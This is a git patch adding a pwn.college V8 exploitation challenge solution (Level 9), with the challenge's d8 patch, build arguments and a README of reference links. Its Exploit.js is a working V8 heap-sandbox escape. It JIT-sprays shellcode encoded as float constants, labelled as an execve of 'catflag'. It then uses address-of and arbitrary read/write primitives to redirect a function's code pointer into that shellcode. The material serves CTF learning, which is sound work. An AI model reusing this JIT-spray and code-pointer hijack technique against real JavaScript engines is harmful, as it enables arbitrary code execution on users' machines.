From 791b1e0c44f9ef5d63446567132eb8edc43de81b Mon Sep 17 00:00:00 2001 From: Jack Ren Date: Tue, 17 Sep 2024 16:27:52 +0800 Subject: [PATCH] Level 9 of PwnCollegeV8Exploitation --- .../Level9/Exploit.js | 82 ++++ .../PwnCollegeV8Exploitation/Level9/README.md | 17 + .../PwnCollegeV8Exploitation/Level9/REVISION | 1 + .../PwnCollegeV8Exploitation/Level9/args.gn | 7 + .../PwnCollegeV8Exploitation/Level9/patch | 351 ++++++++++++++++++ 5 files changed, 458 insertions(+) create mode 100644 JavaScript/PwnCollegeV8Exploitation/Level9/Exploit.js create mode 100644 JavaScript/PwnCollegeV8Exploitation/Level9/README.md create mode 100644 JavaScript/PwnCollegeV8Exploitation/Level9/REVISION create mode 100644 JavaScript/PwnCollegeV8Exploitation/Level9/args.gn create mode 100644 JavaScript/PwnCollegeV8Exploitation/Level9/patch diff --git a/JavaScript/PwnCollegeV8Exploitation/Level9/Exploit.js b/JavaScript/PwnCollegeV8Exploitation/Level9/Exploit.js new file mode 100644 index 0000000..2e2aeed --- /dev/null +++ b/JavaScript/PwnCollegeV8Exploitation/Level9/Exploit.js @@ -0,0 +1,82 @@ +let ab = new ArrayBuffer(8); +let f64a = new Float64Array(ab, 0, 1); +let i32a = new Uint32Array(ab, 0, 2); +let si32a = new Int32Array(ab, 0, 2); +let bi64a = new BigUint64Array(ab, 0, 1); + +function c2f(low, high) { // combined (two 4 bytes) word to float + i32a[0] = low; + i32a[1] = high; + return f64a[0]; +} + +function b2f(v) { // bigint to float + bi64a[0] = v; + return f64a[0]; +} + +function f2b(v) { // float to bigint + f64a[0] = v; + return bi64a[0]; +} + +function unptr(v) { + return v & 0xfffffffe; +} + +function ptr(v) { + return v | 1; +} + +function shellcode() { // Promote to ensure not GC during training + // JIT spray machine code form of `execve("catflag", NULL, NULL)` + return [ + // 90 90 90 90 90 90 EB 0C + -6.82852703445671073954919833565E-229, + 1.9995716422075807e-246, + 1.9710255944286777e-246, + 1.97118242283721e-246, + 1.971136949489835e-246, + 1.9711826272869888e-246, + 1.9711829003383248e-246, + -9.254983612527998e+61 + ]; +} +for (let i = 0; i < 1000000; i++) shellcode(); // Trigger TURBOFAN compilation, since we are on a old revision don't have MAGLEV + +function hijack() {} + +let sandbox = new Sandbox.MemoryView(0, Sandbox.byteLength); +let sandbox_i32v = new Uint32Array(sandbox, 0, 0x4000_0000); + +function GetAddressOf(obj) { + return Sandbox.getAddressOf(obj); +} + +// DWORD Aligned +function ArbRead32(cage_addr) { // int32 -> int32 + if (cage_addr & 0x3) throw new Error("Must DWORD Aligned"); + return sandbox_i32v[cage_addr >> 2]; +} + +// DWORD Aligned +function ArbWrite32(cage_addr, value) { // int32, int32 -> void + if (cage_addr & 0x3) throw new Error("Must DWORD Aligned"); + sandbox_i32v[cage_addr >> 2] = value; +} + +// %DebugPrint(shellcode); +let shellcode_addr = GetAddressOf(shellcode); +console.log("Address of shellcode: " + shellcode_addr.toString(16)); +let shellcode_code_addr = unptr(ArbRead32(shellcode_addr + 0x18)); +console.log("Address of shellcode.code: " + shellcode_code_addr.toString(16)); +let shellcode_gadget_addr = shellcode_code_addr + 0x40 + (0x73 + 0x2); +console.log("Address of shellcode_gadget: " + shellcode_gadget_addr.toString(16)); + +// %DebugPrint(hijack); +let hijack_addr = GetAddressOf(hijack); +console.log("Address of hijack: " + hijack_addr.toString(16)); +ArbWrite32(hijack_addr + 0x18, shellcode_gadget_addr - 0x3f); +// %SystemBreak(); + +hijack(); \ No newline at end of file diff --git a/JavaScript/PwnCollegeV8Exploitation/Level9/README.md b/JavaScript/PwnCollegeV8Exploitation/Level9/README.md new file mode 100644 index 0000000..73ac4ca --- /dev/null +++ b/JavaScript/PwnCollegeV8Exploitation/Level9/README.md @@ -0,0 +1,17 @@ +# Level 9 + +## Problem + +Given V8 Sandbox memory corruption API (Address Of, Cage Read & Write Primitive). + +## Key Knowledge +- V8 (Heap) Sandbox + - [The V8 Sandbox](https://v8.dev/blog/sandbox) +- V8 Memory Corruption API + - [4a12cb1022ba335ce087dcfe31b261355524b3bf - v8/v8 - Git at Google](https://chromium.googlesource.com/v8/v8/+/4a12cb1022ba335ce087dcfe31b261355524b3bf) + - [KITCTFCTF 2022 V8 Heap Sandbox Escape](https://ju256.rip/posts/kitctfctf22-date/#v8s-memory-corruption-api) +- V8 Sandbox Escape Technique + - [Dice CTF Memory Hole: Breaking V8 Heap Sandbox](https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html) + - You can use this one! + - [V8 Sandbox escape/bypass/violation and VR collection](https://github.com/xv0nfers/V8-sbx-bypass-collection) + - Real-time update V8 Sandbox escape collection! \ No newline at end of file diff --git a/JavaScript/PwnCollegeV8Exploitation/Level9/REVISION b/JavaScript/PwnCollegeV8Exploitation/Level9/REVISION new file mode 100644 index 0000000..e90b874 --- /dev/null +++ b/JavaScript/PwnCollegeV8Exploitation/Level9/REVISION @@ -0,0 +1 @@ +f5e412a1cd82fb606b79a587f1c4bda7f9445701 \ No newline at end of file diff --git a/JavaScript/PwnCollegeV8Exploitation/Level9/args.gn b/JavaScript/PwnCollegeV8Exploitation/Level9/args.gn new file mode 100644 index 0000000..ff96928 --- /dev/null +++ b/JavaScript/PwnCollegeV8Exploitation/Level9/args.gn @@ -0,0 +1,7 @@ +dcheck_always_on = false +is_debug = false +is_component_build = false +target_cpu = "x64" +v8_enable_object_print = true +v8_enable_disassembler = true +v8_enable_backtrace = true diff --git a/JavaScript/PwnCollegeV8Exploitation/Level9/patch b/JavaScript/PwnCollegeV8Exploitation/Level9/patch new file mode 100644 index 0000000..6b954a3 --- /dev/null +++ b/JavaScript/PwnCollegeV8Exploitation/Level9/patch @@ -0,0 +1,351 @@ +diff --git a/BUILD.bazel b/BUILD.bazel +index 3d37f45cede..584701ef478 100644 +--- a/BUILD.bazel ++++ b/BUILD.bazel +@@ -1921,6 +1921,8 @@ filegroup( + "src/sandbox/external-pointer.h", + "src/sandbox/external-pointer-table.cc", + "src/sandbox/external-pointer-table.h", ++ "src/sandbox/testing.cc", ++ "src/sandbox/testing.h", + "src/sandbox/sandbox.cc", + "src/sandbox/sandbox.h", + "src/sandbox/sandboxed-pointer-inl.h", +diff --git a/BUILD.gn b/BUILD.gn +index 7ef8c1f2e06..d0538db38c3 100644 +--- a/BUILD.gn ++++ b/BUILD.gn +@@ -304,18 +304,18 @@ declare_args() { + + # Enable the experimental V8 sandbox. + # Sets -DV8_SANDBOX. +- v8_enable_sandbox = false ++ v8_enable_sandbox = true + + # Enable external pointer sandboxing. Requires v8_enable_sandbox. + # Sets -DV8_SANDBOXED_EXTERNAL_POINRTERS. +- v8_enable_sandboxed_external_pointers = false ++ v8_enable_sandboxed_external_pointers = true + + # Enable sandboxed pointers. Requires v8_enable_sandbox. + # Sets -DV8_SANDBOXED_POINTERS. +- v8_enable_sandboxed_pointers = false ++ v8_enable_sandboxed_pointers = true + + # Enable all available sandbox features. Implies v8_enable_sandbox. +- v8_enable_sandbox_future = false ++ v8_enable_sandbox_future = true + + # Experimental feature for collecting per-class zone memory stats. + # Requires use_rtti = true +@@ -3332,6 +3332,7 @@ v8_header_set("v8_internal_headers") { + "src/sandbox/sandbox.h", + "src/sandbox/sandboxed-pointer-inl.h", + "src/sandbox/sandboxed-pointer.h", ++ "src/sandbox/testing.h", + "src/snapshot/code-serializer.h", + "src/snapshot/context-deserializer.h", + "src/snapshot/context-serializer.h", +@@ -4353,6 +4354,7 @@ v8_source_set("v8_base_without_compiler") { + "src/runtime/runtime.cc", + "src/sandbox/external-pointer-table.cc", + "src/sandbox/sandbox.cc", ++ "src/sandbox/testing.cc", + "src/snapshot/code-serializer.cc", + "src/snapshot/context-deserializer.cc", + "src/snapshot/context-serializer.cc", +diff --git a/src/d8/d8.cc b/src/d8/d8.cc +index 050cbdc78df..061379666a8 100644 +--- a/src/d8/d8.cc ++++ b/src/d8/d8.cc +@@ -2860,7 +2860,7 @@ Local Shell::CreateNodeTemplates(Isolate* isolate) { + + Local Shell::CreateGlobalTemplate(Isolate* isolate) { + Local global_template = ObjectTemplate::New(isolate); +- global_template->Set(Symbol::GetToStringTag(isolate), ++/* global_template->Set(Symbol::GetToStringTag(isolate), + String::NewFromUtf8Literal(isolate, "global")); + global_template->Set(isolate, "version", + FunctionTemplate::New(isolate, Version)); +@@ -2877,13 +2877,13 @@ Local Shell::CreateGlobalTemplate(Isolate* isolate) { + global_template->Set(isolate, "readline", + FunctionTemplate::New(isolate, ReadLine)); + global_template->Set(isolate, "load", +- FunctionTemplate::New(isolate, ExecuteFile)); ++ FunctionTemplate::New(isolate, ExecuteFile));*/ + global_template->Set(isolate, "setTimeout", + FunctionTemplate::New(isolate, SetTimeout)); + // Some Emscripten-generated code tries to call 'quit', which in turn would + // call C's exit(). This would lead to memory leaks, because there is no way + // we can terminate cleanly then, so we need a way to hide 'quit'. +- if (!options.omit_quit) { ++/* if (!options.omit_quit) { + global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); + } + global_template->Set(isolate, "testRunner", +@@ -2909,7 +2909,7 @@ Local Shell::CreateGlobalTemplate(Isolate* isolate) { + if (i::FLAG_expose_async_hooks) { + global_template->Set(isolate, "async_hooks", + Shell::CreateAsyncHookTemplate(isolate)); +- } ++ }*/ + + return global_template; + } +diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc +index 16015435073..ecd1fbb4116 100644 +--- a/src/init/bootstrapper.cc ++++ b/src/init/bootstrapper.cc +@@ -24,6 +24,7 @@ + #include "src/logging/runtime-call-stats-scope.h" + #include "src/objects/instance-type.h" + #include "src/objects/objects.h" ++#include "src/sandbox/testing.h" + #ifdef ENABLE_VTUNE_TRACEMARK + #include "src/extensions/vtunedomain-support-extension.h" + #endif // ENABLE_VTUNE_TRACEMARK +@@ -5694,6 +5695,10 @@ bool Genesis::InstallSpecialObjects(Isolate* isolate, + } + #endif // V8_ENABLE_WEBASSEMBLY + ++ if (GetProcessWideSandbox()->is_initialized()) { ++ MemoryCorruptionApi::Install(isolate); ++ } ++ + return true; + } + +diff --git a/src/sandbox/testing.cc b/src/sandbox/testing.cc +new file mode 100644 +index 00000000000..327fd33588d +--- /dev/null ++++ b/src/sandbox/testing.cc +@@ -0,0 +1,194 @@ ++// Copyright 2022 the V8 project authors. All rights reserved. ++// Use of this source code is governed by a BSD-style license that can be ++// found in the LICENSE file. ++ ++#include "src/sandbox/testing.h" ++ ++#include "src/api/api-inl.h" ++#include "src/api/api-natives.h" ++#include "src/common/globals.h" ++#include "src/execution/isolate-inl.h" ++#include "src/heap/factory.h" ++#include "src/objects/backing-store.h" ++#include "src/objects/js-objects.h" ++#include "src/objects/templates.h" ++#include "src/sandbox/sandbox.h" ++ ++namespace v8 { ++namespace internal { ++ ++//#ifdef V8_EXPOSE_MEMORY_CORRUPTION_API ++ ++namespace { ++ ++// Sandbox.byteLength ++void SandboxGetByteLength(const v8::FunctionCallbackInfo& args) { ++ v8::Isolate* isolate = args.GetIsolate(); ++ double sandbox_size = GetProcessWideSandbox()->size(); ++ args.GetReturnValue().Set(v8::Number::New(isolate, sandbox_size)); ++} ++ ++// new Sandbox.MemoryView(args) -> Sandbox.MemoryView ++void SandboxMemoryView(const v8::FunctionCallbackInfo& args) { ++ v8::Isolate* isolate = args.GetIsolate(); ++ Local context = isolate->GetCurrentContext(); ++ ++ if (!args.IsConstructCall()) { ++ isolate->ThrowError("Sandbox.MemoryView must be invoked with 'new'"); ++ return; ++ } ++ ++ Local arg1, arg2; ++ if (!args[0]->ToInteger(context).ToLocal(&arg1) || ++ !args[1]->ToInteger(context).ToLocal(&arg2)) { ++ isolate->ThrowError("Expects two number arguments (start offset and size)"); ++ return; ++ } ++ ++ Sandbox* sandbox = GetProcessWideSandbox(); ++ CHECK_LE(sandbox->size(), kMaxSafeIntegerUint64); ++ ++ uint64_t offset = arg1->Value(); ++ uint64_t size = arg2->Value(); ++ if (offset > sandbox->size() || size > sandbox->size() || ++ (offset + size) > sandbox->size()) { ++ isolate->ThrowError( ++ "The MemoryView must be entirely contained within the sandbox"); ++ return; ++ } ++ ++ Factory* factory = reinterpret_cast(isolate)->factory(); ++ std::unique_ptr memory = BackingStore::WrapAllocation( ++ reinterpret_cast(sandbox->base() + offset), size, ++ v8::BackingStore::EmptyDeleter, nullptr, SharedFlag::kNotShared); ++ if (!memory) { ++ isolate->ThrowError("Out of memory: MemoryView backing store"); ++ return; ++ } ++ Handle buffer = factory->NewJSArrayBuffer(std::move(memory)); ++ args.GetReturnValue().Set(Utils::ToLocal(buffer)); ++} ++ ++// Sandbox.getAddressOf(object) -> Number ++void SandboxGetAddressOf(const v8::FunctionCallbackInfo& args) { ++ v8::Isolate* isolate = args.GetIsolate(); ++ ++ if (args.Length() == 0) { ++ isolate->ThrowError("First argument must be provided"); ++ return; ++ } ++ ++ Handle arg = Utils::OpenHandle(*args[0]); ++ if (!arg->IsHeapObject()) { ++ isolate->ThrowError("First argument must be a HeapObject"); ++ return; ++ } ++ ++ // HeapObjects must be allocated inside the pointer compression cage so their ++ // address relative to the start of the sandbox can be obtained simply by ++ // taking the lowest 32 bits of the absolute address. ++ uint32_t address = static_cast(HeapObject::cast(*arg).address()); ++ args.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address)); ++} ++ ++// Sandbox.getSizeOf(object) -> Number ++void SandboxGetSizeOf(const v8::FunctionCallbackInfo& args) { ++ v8::Isolate* isolate = args.GetIsolate(); ++ ++ if (args.Length() == 0) { ++ isolate->ThrowError("First argument must be provided"); ++ return; ++ } ++ ++ Handle arg = Utils::OpenHandle(*args[0]); ++ if (!arg->IsHeapObject()) { ++ isolate->ThrowError("First argument must be a HeapObject"); ++ return; ++ } ++ ++ int size = HeapObject::cast(*arg).Size(); ++ args.GetReturnValue().Set(v8::Integer::New(isolate, size)); ++} ++ ++Handle NewFunctionTemplate( ++ Isolate* isolate, FunctionCallback func, ++ ConstructorBehavior constructor_behavior) { ++ // Use the API functions here as they are more convenient to use. ++ v8::Isolate* api_isolate = reinterpret_cast(isolate); ++ Local function_template = ++ FunctionTemplate::New(api_isolate, func, {}, {}, 0, constructor_behavior, ++ SideEffectType::kHasSideEffect); ++ return v8::Utils::OpenHandle(*function_template); ++} ++ ++Handle CreateFunc(Isolate* isolate, FunctionCallback func, ++ Handle name, bool is_constructor) { ++ ConstructorBehavior constructor_behavior = is_constructor ++ ? ConstructorBehavior::kAllow ++ : ConstructorBehavior::kThrow; ++ Handle function_template = ++ NewFunctionTemplate(isolate, func, constructor_behavior); ++ return ApiNatives::InstantiateFunction(function_template, name) ++ .ToHandleChecked(); ++} ++ ++void InstallFunc(Isolate* isolate, Handle holder, ++ FunctionCallback func, const char* name, int num_parameters, ++ bool is_constructor) { ++ Factory* factory = isolate->factory(); ++ Handle function_name = factory->NewStringFromAsciiChecked(name); ++ Handle function = ++ CreateFunc(isolate, func, function_name, is_constructor); ++ function->shared().set_length(num_parameters); ++ JSObject::AddProperty(isolate, holder, function_name, function, NONE); ++} ++ ++void InstallGetter(Isolate* isolate, Handle object, ++ FunctionCallback func, const char* name) { ++ Factory* factory = isolate->factory(); ++ Handle property_name = factory->NewStringFromAsciiChecked(name); ++ Handle getter = CreateFunc(isolate, func, property_name, false); ++ Handle setter = factory->null_value(); ++ JSObject::DefineAccessor(object, property_name, getter, setter, FROZEN); ++} ++ ++void InstallFunction(Isolate* isolate, Handle holder, ++ FunctionCallback func, const char* name, ++ int num_parameters) { ++ InstallFunc(isolate, holder, func, name, num_parameters, false); ++} ++ ++void InstallConstructor(Isolate* isolate, Handle holder, ++ FunctionCallback func, const char* name, ++ int num_parameters) { ++ InstallFunc(isolate, holder, func, name, num_parameters, true); ++} ++ ++} // namespace ++ ++// static ++void MemoryCorruptionApi::Install(Isolate* isolate) { ++ CHECK(GetProcessWideSandbox()->is_initialized()); ++ ++ Factory* factory = isolate->factory(); ++ ++ // Create the special Sandbox object that provides read/write access to the ++ // sandbox address space alongside other miscellaneous functionality. ++ Handle sandbox = ++ factory->NewJSObject(isolate->object_function(), AllocationType::kOld); ++ ++ InstallGetter(isolate, sandbox, SandboxGetByteLength, "byteLength"); ++ InstallConstructor(isolate, sandbox, SandboxMemoryView, "MemoryView", 2); ++ InstallFunction(isolate, sandbox, SandboxGetAddressOf, "getAddressOf", 1); ++ InstallFunction(isolate, sandbox, SandboxGetSizeOf, "getSizeOf", 1); ++ ++ // Install the Sandbox object as property on the global object. ++ Handle global = isolate->global_object(); ++ Handle name = factory->NewStringFromAsciiChecked("Sandbox"); ++ JSObject::AddProperty(isolate, global, name, sandbox, DONT_ENUM); ++} ++ ++//#endif // V8_EXPOSE_MEMORY_CORRUPTION_API ++ ++} // namespace internal ++} // namespace v8 +diff --git a/src/sandbox/testing.h b/src/sandbox/testing.h +new file mode 100644 +index 00000000000..0c30397c3c5 +--- /dev/null ++++ b/src/sandbox/testing.h +@@ -0,0 +1,28 @@ ++// Copyright 2022 the V8 project authors. All rights reserved. ++// Use of this source code is governed by a BSD-style license that can be ++// found in the LICENSE file. ++ ++#ifndef V8_SANDBOX_TESTING_H_ ++#define V8_SANDBOX_TESTING_H_ ++ ++#include "src/common/globals.h" ++ ++namespace v8 { ++namespace internal { ++ ++//#ifdef V8_EXPOSE_MEMORY_CORRUPTION_API ++// A JavaScript API that emulates typical exploit primitives. ++// ++// This can be used for testing the sandbox, for example to write regression ++// tests for bugs in the sandbox or to develop fuzzers. ++class MemoryCorruptionApi { ++ public: ++ V8_EXPORT_PRIVATE static void Install(Isolate* isolate); ++}; ++ ++//#endif // V8_EXPOSE_MEMORY_CORRUPTION_API ++ ++} // namespace internal ++} // namespace v8 ++ ++#endif // V8_SANDBOX_TESTING_H_